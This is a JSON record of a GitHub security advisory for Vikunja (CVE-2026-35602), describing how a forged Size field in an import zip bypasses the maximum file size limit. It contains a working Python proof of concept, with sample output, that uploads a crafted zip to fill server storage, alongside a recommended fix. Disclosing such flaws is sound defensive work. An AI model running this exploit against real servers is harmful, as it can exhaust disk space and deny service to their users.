{"id":"GHSA-qh78-rvg3-cv54","revision":"3e7d6572a067470e8931446c720f946a","records":[{"revision":"3e7d6572a067470e8931446c720f946a","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-qh78-rvg3-cv54","aliases":["CVE-2026-35602","GO-2026-5582"],"title":"Vikunja has File Size Limit Bypass via Vikunja Import","description":"## Summary\n\nThe Vikunja file import endpoint uses the attacker-controlled `Size` field from the JSON metadata inside the import zip instead of the actual decompressed file content length for the file size enforcement check. By setting `Size` to 0 in the JSON while including large compressed file entries in the zip, an attacker bypasses the configured maximum file size limit.\n\n## Details\n\nDuring import, the JSON metadata from `data.json` inside the zip archive is deserialized into project structures. File content is read independently from the zip entries. When creating attachments, the code at `pkg/modules/migration/create_from_structure.go:406` passes the attacker-controlled `File.Size` from the JSON:\n\n```go\nerr = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, a.File.Size, user)\n```\n\nThe file size enforcement check at `pkg/files/files.go:118` then evaluates this attacker-controlled value:\n\n```go\nif realsize > config.GetMaxFileSizeInMBytes()*uint64(datasize.MB) && checkFileSizeLimit {\n```\n\nWith `Size` set to 0 in the JSON, the comparison `0 > 20MB` evaluates to false and the check passes. The actual file content (from the zip entry) can be up to 500MB per entry (the `readZipEntry` limit). Highly compressible content like zero-filled buffers achieves extreme compression ratios, allowing a small zip upload to store gigabytes of data.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2 with default `max_file_size: 20MB`.\n\n```python\nimport zipfile, io, json, requests\n\nTARGET = \"http://localhost:3456\"\ntoken = requests.post(f\"{TARGET}/api/v1/login\",\n    json={\"username\": \"user1\", \"password\": \"User1pass!\"}).json()[\"token\"]\nh = {\"Authorization\": f\"Bearer {token}\"}\n\n# Craft zip with forged Size=0 in JSON but 25MB actual content\nlarge_content = b\"A\" * (25 * 1024 * 1024)  # 25MB\ndata = [{\"title\": \"Project\", \"tasks\": [{\"title\": \"Task\", \"attachments\": [{\n    \"file\": {\"name\": \"large.bin\", \"size\": 0, \"created\": \"2026-01-01T00:00:00Z\"},\n    \"created\": \"2026-01-01T00:00:00Z\"}]}]}]\n\nzip_buf = io.BytesIO()\nwith zipfile.ZipFile(zip_buf, 'w', zipfile.ZIP_DEFLATED) as zf:\n    zf.writestr(\"VERSION\", \"2.2.2\")\n    zf.writestr(\"data.json\", json.dumps(data))\n    zf.writestr(\"large.bin\", large_content)\n\nresp = requests.put(f\"{TARGET}/api/v1/migration/vikunja-file/migrate\",\n    headers=h,\n    files={\"import\": (\"export.zip\", zip_buf.getvalue(), \"application/zip\")})\n```\n\nOutput:\n```\nHTTP 200: {\"message\": \"Everything was migrated successfully.\"}\n25MB file stored despite 20MB server limit.\n```\n\n## Impact\n\nAn authenticated user can exhaust server storage by uploading small compressed zip files that decompress into files exceeding the configured maximum file size limit. A single ~25KB upload can store ~25MB due to zip compression ratios. Repeated exploitation can fill the server's disk, causing denial of service for all users. No per-user storage quota exists to contain the impact.\n\n## Recommended Fix\n\nUse the actual content length instead of the attacker-controlled `Size` field:\n\n```go\nerr = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, uint64(len(a.File.FileContent)), user)\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*","state":0,"publishedAt":"2026-04-10T15:35:18+00:00","modifiedAt":"2026-06-25T23:11:09.1167687+00:00","affected":[{"ecosystem":"Go","name":"code.vikunja.io/api","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.3.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-qh78-rvg3-cv54","https://nvd.nist.gov/vuln/detail/CVE-2026-35602","https://github.com/go-vikunja/vikunja/pull/2575","https://github.com/go-vikunja/vikunja","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"],"sourceUrl":"https://github.com/advisories/GHSA-qh78-rvg3-cv54","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-qh78-rvg3-cv54","identifiers":["GHSA-qh78-rvg3-cv54","CVE-2026-35602","GO-2026-5582"]},"retained":false,"historicalAffected":[]}],"coverage":[]}